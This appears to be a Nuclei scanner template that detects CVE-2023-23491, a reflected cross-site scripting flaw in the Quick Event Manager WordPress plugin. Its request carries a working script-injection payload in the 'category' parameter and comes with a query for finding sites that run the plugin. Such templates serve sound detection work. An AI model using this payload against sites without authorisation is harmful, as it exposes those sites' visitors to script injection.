id: CVE-2023-23491 info: name: Quick Event Manager < 9.7.5 - Cross-Site Scripting author: ritikchaddha severity: medium description: | The Quick Event Manager WordPress Plugin, version < 9.7.5, is affected by a reflected cross-site scripting vulnerability in the 'category' parameter of its 'qem_ajax_calendar' action. remediation: Fixed in version 9.7.5 and above reference: - https://wpscan.com/vulnerability/49178a9d-0500-4e3e-8ea1-6cd4eeda2a4e - https://nvd.nist.gov/vuln/detail/CVE-2023-23491 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2023-23491 cwe-id: CWE-79 epss-score: 0.00071 epss-percentile: 0.29517 cpe: cpe:2.3:a:fullworksplugins:quick_event_manager:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 1 vendor: fullworksplugins product: quick_event_manager framework: wordpress publicwww-query: "/wp-content/plugins/quick-event-manager" tags: cve,cve2023,wordpress,wp,wp-plugin,wpscan,xss,quick-event-manager http: - method: GET path: - "{{BaseURL}}/wp-admin/admin-ajax.php?action=qem_ajax_calendar&category=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(header, "text/html")' - 'contains(body, "")' - 'contains(body, "qem_calendar")' condition: and # digest: 4b0a00483046022100d5d67d665f3c2b8ced121ac4ede8c4c168850b5417ea6ff8f30d555d0b56b51e022100a096d7ea537939fdfb8dce7aacd054dfe0793e945114419dc1f078a478a07c7a:922c64590222798bb761d5b6d8e72950